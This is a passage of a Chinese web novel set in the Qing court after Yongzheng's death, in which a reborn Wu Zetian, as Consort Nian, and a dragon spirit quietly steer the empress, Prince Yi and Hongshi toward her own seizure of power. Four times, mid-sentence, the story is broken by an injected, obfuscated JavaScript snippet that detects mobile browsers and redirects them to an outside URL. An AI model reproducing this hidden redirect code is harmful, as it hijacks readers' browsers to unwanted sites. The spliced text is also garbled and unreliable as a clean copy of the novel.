[居然……怡亲王莫非也……可是这种事情……天幕说过,飞机这东西要再过至少一百年才能产生,年氏与我不可能活到百年以后,自然不必担心……] 皇后如此想着,面色逐渐恢复平静。 尹贵人的想法则是—— [怡亲王不愧是雍正诸多兄弟里面最得信任最有能力的那个,生在十八世纪初却能凭本能猜想意识到制空权对未来战争的重要性,可惜他的时代距离科技大爆发太遥远,他从小接受的男性精英教育也让他完全不可能跳出阶级叙事和性别叙事的限制,意识到唯有变革才是出路……所以我从一开始就选择了姐姐,姐姐才能将这个世界带往全新的未来……] [你们两个人的想法可谓是南辕北辙各有千秋。] 将皇后乌拉那拉氏和尹无归的心思收入心间,武曌低头,假装不安惊恐道:“皇上,奴才以为怡亲王的话虽有几分异想天开,却是不可不听、不可不顾。” “你也觉得西洋人未来可能对大清构成威胁?” 雍正抬头,反问皇贵妃。 武曌:“常言道,非吾族类,其心必异,何况西洋人与大清远隔千山万水,样貌品性均与大清不同,更从未受过圣人熏陶。” “……皇贵妃说得有道理。” 雍正转头,看了眼此刻被官员们拦在三丈开外的西洋传教士们:这些人进出大清宫廷数十年,至今依然顽固地身穿教士长袍、胸前佩戴十字架,不愿遵从大清习俗。 [ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14091278|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些传教士渴望在大清宫廷得到朕的重用尚且不愿脱下传教士长袍换上大清马褂取悦朕,何况他们远在西洋的同胞?可见西洋人和大清人完全不一样,是异类,是他者!是不可不防的蛮夷!] 【你准备怎么防备他们?】 凤龙骤然出现,轻盈地坐在才露出水面的还未完全舒展的荷叶上,清风吹过,如丝绸般柔顺的黑发随风摇晃,越发衬得皮肤白皙没有血色不似人类。 [你在提醒朕吗?] 【别把我想得那么高尚,我只是由着兴致观察世界,偶尔干涉世间的芸芸众生。】 [朕只知道你已主动对朕示警,朕必须对此有所警惕。] 雍正迅速得出结论。 作为封建君主,他最在乎的是自己和自己的家族的统治能否千秋万代。 “……十三弟关于西洋人的见解确实有道理,朕现在正式授命十三弟监督、提防西洋人,后世也必须对西洋人随时保持警惕,非吾族类其心必异,何况西洋人如今掌握了比大清更好的机械技术……又不愿接受大清的圣人教化,难保有一天不会对大清生出狼子野心!” “皇上英明!” 众人纷纷附和雍正的安排。 站位距离皇帝三丈开外的传教士们见大清官员突然集体跪拜恭贺,纷纷跟着弯腰恭祝大清皇帝聪明智慧。 “哼~” 雍正得意冷笑,示意回宫。 “皇上起驾!” …… …… 回到宫中,雍正突然感觉后颈渗着冷意,他转过头,看到皇额涅的面容。 “皇额涅……皇额涅……你……” 皇额涅没有说话,苍白憔悴的面容静静地呈现在雍正面前,眼神带着浓重的悲伤。 “你为什么不说话?因为你已经无法说话?还是你……你对朕无话可说……皇额涅……你……你为什么独独对朕如此残忍……是朕让你成为太后……让你拥有女人在这世上能拥有的最高荣光……为什么你却……却对朕始终不满意……为什么……” 【因为你给她的不是她想要的。】 凤龙出现,吹破萦绕雍正的阴影。 【你已时日无多,赶紧准备后事吧。】 [什么?朕……朕……] 【赶紧准备一下吧。】 凤龙连敷衍话都不想说。 雍正却对祂的残忍宣判感到由衷轻松。 [大限终于到了吗?朕的时间终于已经到了吗?那朕……皇额涅与朕之间的恩怨……皇额涅还会再……大清江山将来是朝着哪个方向发展……] 【死后的事情自有后人想办法解决,你的时间已经差不多了。】 凤龙上前,闪烁鳞片光芒的手轻轻划过雍正的眼睛。 【看见丧礼现场飘荡的白色纸钱了吗?】 雍正闻言,眯眼看去,看到本该空荡荡的宫门前一片白茫茫,白色海洋中间立着一块牌位。 [大清……大清……世宗敬天昌运建中……大孝至诚宪皇帝……是谁?是……是——] 朕! 96.两宫皇太后 “皇上驾崩了?” 骤闻噩耗,身为中宫皇后的乌拉那拉氏顿觉天旋地转。 虽然她看过天幕历史直播,知道雍正的在位时间不会太长,也知道在历史不断发生变动的当下,雍正的驾崩时间很可能提前,更知道雍正提前驾崩对在原本历史中会死于雍正九年的自己而言其实是一件好事,但是—— “为什么……为什么会这样?为什么……皇上为什么会……” “皇上本就为解决朝政改革的重重阻力而心力交瘁,又遇上太后离世,以及……以及……” “以及各种不省心的事情,对吗?” 乌拉那拉氏苦笑着看着年氏。 年氏低头,眼眸含泪:“皇上这一生都太辛苦了,幼年时被亲额涅疏远冷待,成年后虽得先帝器重却也因此树敌无数……登基为帝以后更是……更是……” “别说了!再说下去,我也要哭出来了……” 乌拉那拉氏擦了擦眼角的泪水,强打精神道:“国不可一日无君,新君登基的事情……” “张廷玉、鄂尔泰已经当众宣读了遗诏,由皇五子弘宜继承大统,怡亲王允祥、隆科多、张廷玉、鄂尔泰和哥哥年羹尧共同辅政,直至新君成年,倘若辅政大臣们争执不决,姐姐与我可以太后身份过问政事。” “皇上的安排果然滴水不漏。” 乌拉那拉氏眯眼,对雍正的这份安排感到既满意又强烈不适。 [皇上!我与你相濡以沫整整三十年,你竟然至死都信任怡亲王远胜于我!不怕怡亲王重蹈多尔衮之祸,反而担心妹妹与我会后宫乱政!为你登基立下汗马功劳的隆科多、年羹尧都只能成为四个辅政大臣之一!我不甘心!不甘心啊!] “姐姐——” 年氏的轻声呼唤将乌拉那拉氏自恨意纵横的心思中拉出。 她擦了擦若有若无的眼泪,轻抚年氏手背:“妹妹,往后我们怕不是要相依为命。” “姐姐何出此言?” 武曌装傻。 乌拉那拉氏道:“年羹尧是妹妹的兄长、弘宜的娘家舅舅,他对新君的忠诚自不容怀疑,但是剩下四个人……尤其是怡亲王……怡亲王虽素来亲善温和,又是妹妹的长兄年希尧的挚友,可如今他手握一人之下万人之上的权力,怕不是也……” “姐姐过虑了,先帝英明神武,怎么可能识人不明?” “唐太宗那么聪明厉害,还不是没看出长孙无忌的祸心?” 乌拉那拉氏急切提醒年氏:“知人知面不知心,何况怡亲王也姓爱新觉罗,是圣祖皇帝的亲儿子!” 言下之意竟是要年氏小心怡亲王允祥成为第二个多尔衮。 “姐姐太谨慎了。” 武曌故作懵懂,擦着眼泪和乌拉那拉氏一同前往拜祭。 …… …… 皇帝殡天的葬礼仪式一向以繁复隆重闻名,但参与葬礼的朝臣们宁可把自己埋在繁复隆重的仪式中也不愿被两位太后连同摄政王、辅政大臣们招到后殿询问国策——前者出了纰漏至多不过掉脑袋,后者却是一言不慎葬送满门。 可惜—— 怕什么来什么。 仪式还未完全结束,朝臣们便被尽数带入后殿,在身为摄政王的怡亲王和四位辅政大臣的带领下向坐在纱帘后的两宫太后叩拜行礼。 “臣等拜见母后皇太后!圣母皇太后!” “诸位请起。” 母后皇太后乌拉那拉氏率先发言,让众人起身,抹着眼泪道:“先帝去世,留下我们孤儿寡母,还请诸位看在大清江山和爱新觉罗家的份上,继续恪尽职守誓死效忠。” “臣等愿效死命。” 朝臣们心不在焉地说着,眼角余光左右打量,关注的重点无非是身为摄政王的怡亲王和身兼辅政大臣和大将军双职的年羹尧。 [年羹尧素来傲慢不逊,如今又成了辅政大臣、小皇帝的舅舅、圣母皇太后的亲哥哥,而怡亲王在先帝生前就有二皇帝的地位如今更贵为摄政王……这两人怕是早晚有一战!] [周公恐惧流言日,王莽谦恭未篡时。向使当初身便死,一生真伪复谁知……怡亲王是先帝的周公,可未必不是小皇帝的王莽……年羹尧亦是如此……就不知道两宫皇太后心里向着哪一边……] [我们这些做朝臣的怎么就卷进了这种复杂局面,站错边是死,站对边也可能死,不站……妥妥死得更快……或许只有两位太后是唯二的正确依靠……可后宫不得干政,女人做事真的能……] [……] 各人的心事如潮水般涌入武曌耳中,几乎每个人都只为自己的前途忧心,没人在乎太后、摄政王、辅政大臣共存情况下大清的命运会走向何方。 [人心果然……] 【先让他们斗个皮开肉绽,我们才能坐收渔翁之利。】 凤龙在武曌耳边暗搓搓。 【反正工业革命前期需要漫长的技术更新、推广时间以及人才培养、积累时间,正好拿来挑拨他们争斗、消磨朝中的保守反对力量……】 [你真的是最近几年才开始接触人类世界吗?为什么我觉得你的手段比你的头发更黑?] 武曌戏谑凤龙。 凤龙微笑着顺了下头发。 【并非我手段发黑,而是我的思考完全不受人类的思考视角影响,站在更高更远的角度……】 [——也对。] 当即,武曌与凤龙秘密商议完毕,平静地坐在乌拉那拉氏身旁,旁观她为从摄政怡亲王和诸位老臣手中获得更多的权力,与他们展开自以为老辣其实愚蠢的辩论,偶尔帮腔几句,证明自己的后宫立场。 年羹尧这边—— 他虽然不知妹妹为何突然态度沉默,但他知道妹妹向来有主见,是个厉害角色,她此时不发言不表态必定有她的道理,于是跟随年氏保持沉默,冷眼旁看乌拉那拉氏冲怡亲王等人发动攻击。 …… …… 丧礼还未结束,朝臣们已经分成至少三派: 一派人围绕在摄政怡亲王身边,一派人拥护母后皇太后乌拉那拉氏,还有一派人围在至今没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099581|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明确表态的圣母皇太后和大将军年羹尧左右。 廉亲王允禩没有公开表明立场,但往日与年羹尧等人的密切交往足以证明他的立场偏圣母皇太后,以允禩有关联的大臣们亦是如此——经历过九龙夺嫡以及夺嫡战争余波的各种打压的他们如今早没了雄心壮志,只想得过且过、安享晚年。 于是,母后皇太后不断向怡亲王等人发动挑衅攻击,圣母皇太后这边却始终风平浪静,偶尔接见进宫求问政事的朝臣。 此外,由于新君年幼,尚未大婚亲政,两宫皇太后都没有依前朝旧例搬进慈宁宫。 …… 这一日,怡亲王领着多位朝臣从母后皇太后宫中出来,神色不可谓不难看。 尤其是怡亲王身边的几个人。 “王爷,依先帝遗诏,在皇上亲政以前,朝廷大小事务都是王爷和顾命大臣们商议决断,无需询问两宫皇太后的意思……为何您……” “先帝遗诏确实没让我们向两宫皇太后询问政事,但是……” 怡亲王允祥苦笑道:“正所谓一朝天子一朝臣,咱们是先帝的臣子未必被新君当做臣子,唯有和两宫皇太后始终保持良好关系,朝堂大小事情都礼让两位太后和新君三分,我们才可能在新君亲政后全身而退——” “王爷果然高瞻远瞩,但是……” 心腹回头,看了眼森严宫门,小声道:“如今母后皇太后摆明和我们对着干,凡是咱们得奏请必定横挑鼻子竖挑眼……反观圣母皇太后性情温柔宽和识大体,轻易不过问政事,看完我们的奏报也总是言之有理见解独到……有醍醐灌顶之妙……” “我们不反对政事求教两宫皇太后,但是能不能政事只求教圣母皇太后、请母后皇太后去圆明园修养?” “母后皇太后年近五旬,本也该颐养天年了。” “依着祖宗规矩,母后皇太后地位高于圣母皇太后,但是个人都知道圣母皇太后作为皇上生母,在皇上心中的分量远高于母后皇太后……” “……别再说了!” 怡亲王打断众人的絮絮叨叨,面色平静:“大清有大清的规矩,两宫皇太后必须得到同等的尊重!” “王爷——” “再胡说八道,小心你们的脑袋!” “嗻。” …… …… “——他们当真是这么说?” 转眼功夫就从小太监处得知怡亲王等人对母后皇太后的怨念的武曌挥手示意告密的太监退到一旁,理着护甲对雍正殡天后依祖制晋为太嫔的尹无归道:“我们接下来是继续作壁上观还是主动出击,清理污垢?” “经年大人改良的珍妮机经过两年的推广,如今在江南一带已颇得认同,官员多为年将军推荐的西北、四川等地也开始大量使用造办处改良的蒸汽机,年将军去年成立了一支常规五千人的火木仓队,以火木仓、火炮为武器,战功卓著。” 尹无归似乎有些答非所问。 武曌却深以为然地点了点头,道:“看样子,我们还要再韬光养晦至少一年。” 97.驱狼吞虎 圣母皇太后这边有意韬光养晦等待时机成熟,以怡亲王为首的顾命大臣们却已经等不及。 他们无法容忍母后皇太后对朝堂的插手,希望圣母皇太后与年羹尧居中调停。 “圣母皇太后是皇上生母,又曾在先帝身旁协助理政,为何这几年始终一言不发,任凭母后皇太后对朝堂事务指手画脚?” “因为孝庄太后与世祖皇帝的遗训,后宫不得干政。” 武曌以退为进,婉转拒绝怡亲王等人的借力打力的要求。 “既然如此,圣母皇太后为何不以后宫不得干政为由劝说母后皇太后?” “因为尊卑有别。” 武曌继续四两拨千斤:“她是母后皇太后,地位在我之上。” “如果……” 怡亲王一时激动,险些脱口说出不逊之言。 “如果什么?怡亲王请直言——” 武曌看穿怡亲王的心思,慢悠悠拨弄茶盏。 怡亲王见状,强忍内心急切,耐心劝说道:“圣母皇太后当真不愿插手政事牵制母后皇太后的胡作非为?” “妇道人家哪里懂什么朝廷大局。” 武曌笑容悠闲,仿佛早已放下名利欲望。 “可是——” “怡亲王,时间不早了,你该回去了,免得瓜田李下惹人非议。” 武曌微笑送客。 怡亲王无奈,皱着眉头行礼退出,内心愤恨如涛涛江山汹涌不绝。 [可恶!可恶!圣母皇太后究竟打什么主意!为什么她和年羹尧至今按兵不动!难道说他们兄妹心中当真对权力没有更多的企图!] [怎么可能对权力没有企图,只是这一世的我手中有枪有军队还掌握了各种先机,可以尽情地韬光养晦,等你们内斗到两败俱伤再一口气把你们全部吃下去!自己称帝!] 【如果怡亲王有读心术能知道你此刻的内心真实想法,怕不是吓得血色全无,当场放下过往一切仇恨和乌拉那拉氏结盟对付你。】 凤龙闻言,忍不住吐槽武曌。 [可惜他没有,而且即便他有读心术知道我想做什么,他也无法与乌拉那拉氏成功结盟。] 【为什么?】 [不要低估了女人的嫉妒心。] 武曌低头,玩弄表面镶嵌各色宝石和珍珠的长护甲。 [比起乌拉那拉氏和怡亲王之间注定两败俱伤收场的争斗,我眼下更关心如何把这辈子以女人身份降生的弘历送去蒙古和亲,顺便接收他前世挖掘的各类文武人才。] 【这件事确实比较棘手……富察容吟不愿入宫,妞妞又在雍正还活着的时候就和富察家的儿子定下婚约……即便因为国丧重孝暂时不能下嫁成婚,可是……】 凤龙兴致盎然地看着武曌,想知道她如何破局。 武曌抬手,轻抚额头。 [以乾隆的贪婪性情,下嫁富察家以后必定会利用富察家男人的文武才学扩张自己的朝堂影响力,聚拢权力……对我有害……但是如果现在就找理由打发妞妞去蒙古和亲,我将不得不背负了毁约之罪……除非……] 武曌灵机一动,决定将这个烫手的山芋扔给乌拉那拉氏。 [她观看天幕的历史直播多年,必定早就知道前世的乾隆登基称帝后做成了多少大事又如何限制太后的权力,这一世乾隆以格格身份降生皇家,点名下嫁富察家……以她如今表现出的对怡亲王的嫉妒仇恨,内心深处不可能对妞妞毫无警惕……] 【驱狼吞虎吗?】 [只是利用人心的弱点罢了。] …… …… 武曌谋划利用乌拉那拉氏对付妞妞的同一时间,妞妞也在谋划着自己的权力之路。 她与富察家儿子虽早已订婚,依着礼法规矩,却要等到明年满了三年孝期才会正式成婚。 漫长的等待让妞妞的心思再度活络,尤其看到身为母后皇太后的乌拉那拉氏向摄政怡亲王允祥发动的拙劣政斗后—— [真是废物!这么简单的事居然能一而再再而三的搞砸!朕前世收拾怡亲王的儿子和党羽时可是不费吹灰之力!] 【她毕竟是个没受过什么教育的妇道人家,自然比不得你这从小被大量名师围着重点教育的储君。】 凤龙假意恭维妞妞,说完恭维话立刻冷不防提醒。 【可惜这辈子的你是个女人,前世积累的所有知识和经验都……】 [闭嘴!别再在我面前提这茬!] 妞妞绷紧稚嫩的脸庞。 【可这件事不是我不提就等于不存在啊~】 凤龙故意刺激妞妞。 [你!你……你说的也有几分道理……] 妞妞长吐一口气,露出烦躁不安的神色。 [如果这一世的朕依然是男人,此刻早已登基成为少年天子,什么母后皇太后、摄政怡亲王,全部靠边站!辅政大臣们更是要跪着听朕说话!可偏偏朕这一世……女人的身份让朕困在深宫后院寸步难移,即便下嫁富察家、依靠富察家男人的功劳重新获得朝堂话语权,终究无法走出后院走进朝堂,只能以公主的身份通过和皇太后、皇帝的私人关系对政治施加一定的影响……即便朕效仿叶卡捷琳琳二世的婆婆伊丽莎白女皇发动政变夺取皇位,华夏历史上也没有对应的法统支持朕以公主身份登上皇位……] 【华夏历史上确实没有哪位公主曾经以公主身份登上皇位,但武则天以女人身份登上皇位以前,华夏历史上甚至不曾有女人成功称帝……所以……】 [所以什么?] 【武则天可以开创女人称帝的先河,你为什么不能开创公主即皇帝位的首例?】 [这……] 【以你的能力,做成这件事显然易如反掌……】 凤龙按武曌的教导一步步蛊惑妞妞。 妞妞内心本就有称帝的欲望,如今被自称盛世祥瑞的凤龙点破并指出可行之路,眼中顿时光芒闪烁。 [……有道理,有道理。] 【那你还等什么!赶紧行动吧!】 凤龙迫不及待地撺掇妞妞。 妞妞露出贪婪的笑容。 …… 又一年时间不动声色地流过,母后皇太后与摄政怡亲王的矛盾愈演愈烈,已经到了剑拔弩张的地步。 武曌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14111982|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假意调和矛盾,劝乌拉那拉氏遵守祖宗定下的规矩,不要处处与摄政怡亲王为难。 乌拉那拉氏闻言,苦笑道:“姐姐此番争强好斗并非不知祖宗规矩,是担心摄政怡亲王假周公之名行王莽之事,成为第二个多尔衮。” “可是多尔衮最终并没有——” “他没逼世祖皇帝退位是因为他不想吗?!是孝庄太后联合议政大臣们一再地牵制他,让他想做做不到!” [妹妹,我不能对你透露天幕直播系统的秘密,因此无法告诉你……我看到了怎样的未来,我只能在黑暗中孤独战斗,竭尽所能地阻止怡亲王篡位称帝!] 乌拉那拉氏沉痛地想着,对年世华道:“我没有孝庄太后的才华和威望,只能尽力做自己能做的事,为先帝守住大清江山。” “姐姐——” “你性格贤德温柔不想卷入政事落个后宫干政的骂名,我何尝不是如此……但是我别无选择……这件事你不做他不做,总得有个人做……” 说到这里,乌拉那拉氏长叹一声:“妹妹,你一向有主见有能力,为什么偏在这件事上如此畏首畏尾瞻前顾后?不干政的贤名当真比大清江山更重要?” “姐姐——” “你二哥年羹尧可是辅政大臣兼大将军!只要他站在我们这边,怡亲王注定掀不起风浪!” “先帝在时,二哥已经时常为功高盖主担忧不已,如果现在……我怕不等弘宜亲政,怡亲王下面的人就会……” “你的意思是——” 乌拉那拉氏瞪大眼睛。 武曌意味深长地点了点头。 “原来如此。” 乌拉那拉氏长叹一声,道:“原来妹妹你一直有苦衷。” “姐姐——” “既然如此,就让我来做这个恶人!” 乌拉那拉氏抬头,眼神坚毅:“在皇上长大成人以前,我会竭尽所能对抗摄政怡亲王,为你们母子守住江山社稷!贤德美名!” “姐姐,你……你这是要折煞妹妹吗!” 武曌假装被乌拉那拉氏的牺牲感动,眼中泪水滚动。 “我……我也是没有办法……先帝只有三个儿子,弘时和弘昼都是不成器的,弘宜又年纪尚小,你有能力却碍于世人评价不愿有所作为……也剩下我……只有我愿意甩下面子为大清为爱新觉罗家做那泼妇骂街之事……我……” “姐姐——” “皇额涅!” 弘时的声音突然响起,两人循声望去,看到弘时泪流满面地站在大殿门前:“三阿哥,你什么时候——” “你们这些奴才都是怎么啦!三阿哥前来竟敢不通报!” “皇额涅不要生气,是儿子让他们不要通报……” 弘时擦了擦眼泪,哽咽着走到两人面前:“弘时无能,害两位皇额涅劳心劳力,所幸弘时虽是无能之人却不是糊涂虫,弘时知道自己是爱新觉罗家的孩子……弘时……弘时愿意从此改邪归正,帮助两位皇额涅……” 说完,弘时噗通跪下,“啪啪啪”,连磕三个响头,随即转身离去,姿态凌然,颇有几分“风萧兮兮易水寒”的味道。 98.所谓天命难违 “十三叔——” “嗯?” 身后突然传来弘时的声音,怡亲王允祥下意识地回头:“三阿哥?” “十三叔,弘时不才,有件事想向十三叔讨教。” “三阿哥客气了。” 允祥微笑地看着先帝硕果仅存的三个儿子里最为年长的弘时。 弘时却看了眼左右,道:“此事涉及宫中隐秘,还请十三叔——” “明白。” 允祥不疑有他,示意左右随从退到一旁:“现在如何?” “现在……” 弘时深吸一口气,走到允祥身前,义愤填膺地表示:“十三叔,我知道我是个不成器的废物,从不敢妄想得到皇位,可是……我都已经二十好几了!为什么至今是个光头阿哥!两宫皇太后是妇道人家不懂政事,十三叔你身为摄政王怎么也不帮忙说句话!给我封个贝勒贝子什么的!是我以往不懂事得罪过你还是——” “三阿哥,你……” 允祥试图向弘时解释为何至今没有给他封爵,弘时却是不管不顾,抡起拳头就往允祥身上招呼,一边打一边骂咧:“为什么!为什么!你为什么至今不上奏小皇帝和两位太后给我封爵!是不是怕我得了爵位发展势力影响你独揽朝政!” “三阿哥,你冷静——” “三阿哥不要……” “快!快停手……快……” 随从们见势不妙,涌上去试图分开弘时和允祥,然而此刻的弘时如发疯的公牛那般顽固蛮横,不仅不听劝,还在众人试图将他们分开时故意一脚踢中允祥的腿部伤患处! “啊——” 允祥发出痛苦的悲鸣,脸色瞬间煞白,被踢中的那条腿更现场僵直无法动弹。 众人大惊,弘时也露出惊慌神色,又气又恼地喃语道:“我……我不是故意的……我……我只是……我是……是……我没想到他这么经不住……他万一真有什么好歹,这事也不能怪我!不能怪我!” 叫喊间,弘时挣脱众人,狂奔逃走。 众人看得目瞪口呆,回过神后又赶紧围到允祥身旁。 “怡亲王……怡亲王……” “快!快传御医……” “王爷!王爷!你没事吧!” “小心点,小心着把王爷扶起来……” “……” …… …… “三阿哥因琐事当众殴打摄政怡亲王?还把人打伤了?这……” 消息传到后宫,闻者无不瞠目结舌,得知事情的原委后又纷纷觉得此事显然是素来鲁莽愚蠢的三阿哥的又一次冲动为之。 “虽说打人是不对,可三阿哥身为先皇长子、皇上长兄,都已二十好几的年纪还没给封爵,也难怪三阿哥会气得打人!” “可不是,要我说这事就是怡亲王自找的,如果他早些上奏两宫太后给三阿哥封爵,就算被母后皇太后驳回,那也是尽了做叔叔的义务,三阿哥纵然有气也撒不到他头上。” “母后皇太后怎么可能驳回给三阿哥封爵的奏章,三阿哥可是她看着长大的孩子。” “唉……怡亲王糊涂啊……” “我倒觉得怡亲王这么做不是糊涂,是他有私心……三阿哥虽没什么才学,毕竟是先皇长子、皇上长兄,依着规矩怎么也得给个亲王爵,那不就……分了怡亲王的权力吗?” “有道理……有道理……” 议论此事的宫人们想起三阿哥的咒骂言语以及怡亲王近年来与母后皇太后的众多冲突,纷纷觉得怡亲王此番挨打怕不是—— 自作自受! …… [自作自受吗?] 宫人们天真的讨论让武曌露出微笑,稍作整理便大张旗鼓前往怡亲王处。 仪仗还未抵达,怡亲王福晋已率领府内全员站在门前列队整齐:“奴才拜见圣母皇太后!” “怡亲王福晋不必多礼。” 武曌笑吟吟扶起行礼的怡亲王福晋,故作关切地问道:“怡亲王现在如何?伤势严重吗?” “王爷的情况……王爷的情况……” 怡亲王福晋顿时哽咽,哭泣着说道:“三阿哥兴许只是一时之气,可如今王爷腿上旧伤复发……痛得根本走不动路……御医也是束手无策……连西洋传教士的药都用过了,还是不见好转……” “如此严重?” 武曌故作惊诧,与怡亲王福晋一同进入王府,穿过长廊,来到怡亲王房前,刚抬手—— “臣弟允祥拜见圣母皇太后。” 怡亲王的声音从屋内传出,带着气虚。 武曌入内,见怡亲王跪在床前,于是假意心疼道:“怡亲王身体不适,为何还要下床行礼?” “——尊卑规矩不可不遵守。” “身体也是要紧的。” 武曌上前,与怡亲王福晋一左一右扶起怡亲王,叹息道:“三阿哥这次做得过分了,本宫回去后必定严惩不贷。” 闻言,怡亲王忍着腿部剧痛劝解道:“臣弟恳请圣母皇太后不要过分责怪三阿哥。此事归根结底是允祥做事疏忽忘记给三阿哥请旨封爵……三阿哥本就年轻气盛,若是身边再有他人挑唆,难免一时冲动……做出不该做的事情……” “他做出这种大逆不道的事情简直罪无可赦,怡亲王切莫为他开脱。” “可是……” 怡亲王不想把事情闹到不可挽回的地步,强撑着说道:“依着祖宗规矩,三阿哥作为先皇长子早就该封爵领差了……此次的事情……臣弟恳请圣母皇太后网开一面,对三阿哥只需小惩大诫,切莫过分严厉……” “既然怡亲王如此说……本宫便替弘时先行谢过……” 武曌压根没想过严惩弘时,得了怡亲王“不可严惩”的话语后笑容越发温柔,嘘寒问暖,关切问候,确定怡亲王短期内无法如常上朝处理政务后,叮嘱一番便起身告辞回宫。 “恭送圣母皇太后——” …… 圣母皇太后前脚刚走,怡亲王福晋后脚赶紧扶起坚持行礼的怡亲王,心疼不已:“王爷,你身体还病着,为什么非要这么折腾……” “不折腾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14132541|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不行啊!” 怡亲王叹息道:“圣母皇太后此次来访名为探病,其实是查探我的想法……别看她总是一副‘后宫不得干政’的温婉姿态,其实心思缜密滴水不漏……何况三阿哥昨日当众呼喊说我不给他封爵是有私心……若我坚持严惩三阿哥……岂不就……” “王爷手握一人之下万人之上的摄政大权,怎么就不能——” “不许胡说!” 怡亲王打断福晋的抱怨,压低声音道:“你想重蹈多尔衮之祸吗!” “那……那我们现在该怎么办?生生把这么大的委屈忍下肚子?” “不然如何?” 怡亲王一声长叹:“我不仅要把这份委屈全咽下肚子,还要借这次的事情从此远离朝堂……” “为什么?” “因为圣母皇太后非池中之物……别看她这几年始终低调,其实她比母后皇太后厉害何止百倍……我甚至怀疑三阿哥此番行为,背后也和她有关……可惜……可惜就算我看穿了圣母皇太后的手段,我也不得不顺着圣母皇太后的心思行事……给三阿哥封爵、称病远离朝堂……” “王爷,你……你在说什么?为什么我完全听不懂?” 怡亲王福晋神色茫然。 怡亲王却露出欣慰的笑容:“听不懂好啊,听不懂才是好事!大清要变天了,而我……不仅是我,更有母后皇太后……母后皇太后从始至终都……都是被圣母皇太后玩弄在股掌间啊!” …… …… 【公元1725年,摄政怡亲王身体不适,年羹尧应诏入京辅佐政事,正式开启了将近半个世纪的年氏一族对大清朝堂的垄断。遗憾的是,当时的人们并未对此有所察觉,不少人甚至欢欣鼓舞,认为年羹尧入京是解决愈演愈烈的母后皇太后派与摄政怡亲王派争端的最佳手段,也有人认为此举代表圣母皇太后和小皇帝不再沉默,准备插手政治。 而这也是历史最荒诞最趣味的地方,参与历史的古人和以上帝视角阅读历史的后人对同一件事的看法往往南辕北辙,最终得出截然相反的结论……】 [为什么会这样?为什么事情会朝着年氏一族垄断朝堂的方向发展?明明……明明上次看直播的时候还说是……] 乌拉那拉氏迷茫地看着天幕中正喋喋不休发表自己的历史观点的历史主播,越想越觉得憋屈古怪。 三年前,从历史直播天幕获悉成为摄政王的允祥会在不久的将来借摄政之名侵害皇权、染指皇位、将他们这些孤儿寡母赶出紫禁城,忠于雍正皇帝的乌拉那拉氏愤然起身,无视后宫不得干政的祖训,竭尽全力阻止怡亲王摄政危害皇权的未来。 在她的不懈努力下,怡亲王危害皇权的未来如愿被掐灭,可大清的未来却并没有如她所愿朝着她所希望的方向发展,反而出现了年氏一族垄断朝堂整整五十年的新危机。 [这莫非就是所谓的天命难违?不管我怎么努力,不幸的未来都一定会发生……甚至,我越努力,不幸就……就……] 乌拉那拉氏发出绝望的哀鸣,鲜血喷溅而出。。 99.年羹尧回京 【终于意识到自己的愚蠢?】 感受到乌拉那拉氏的痛苦,凤龙发出嗤笑。 【想凭借天幕直播系统的先机阻止未来可能发生的不幸,却不知未来是当下的后续。没有走一步看三步的能力,对当前的局势也没有清楚的深入人性的认识,只是单纯的依赖着天幕直播系统提供的模糊信息和自我主观臆断,天真地以为改变现状就能让历史朝着自己希望的方向发展,却不知愚蠢、盲目的努力往往只会招来更大的不幸,最终把自己困死在名为‘命运’的蜘蛛网中~】 [困死乌拉那拉氏的真的是命运吗?] 武曌反问。 凤龙微微一笑,手掌支颌。 【在她的认知里,这张蜘蛛网的名字确实是‘命运’。当然,对一直在乌拉那拉氏看不见的地方通过各种手段将未来导向这个结果的你而言,困死乌拉那拉氏的蜘蛛网名为‘努力’。】 [可怜她上个月还指责我贪恋虚名躲在深宫不管朝堂事务任摄政怡亲王坐大害她独木难支心力交瘁……如今却……] 武曌叹了口气,起身,顺了顺鬓角,对左右宫人道:“准备一下,本宫要去母后皇太后那边。” “嗻——” 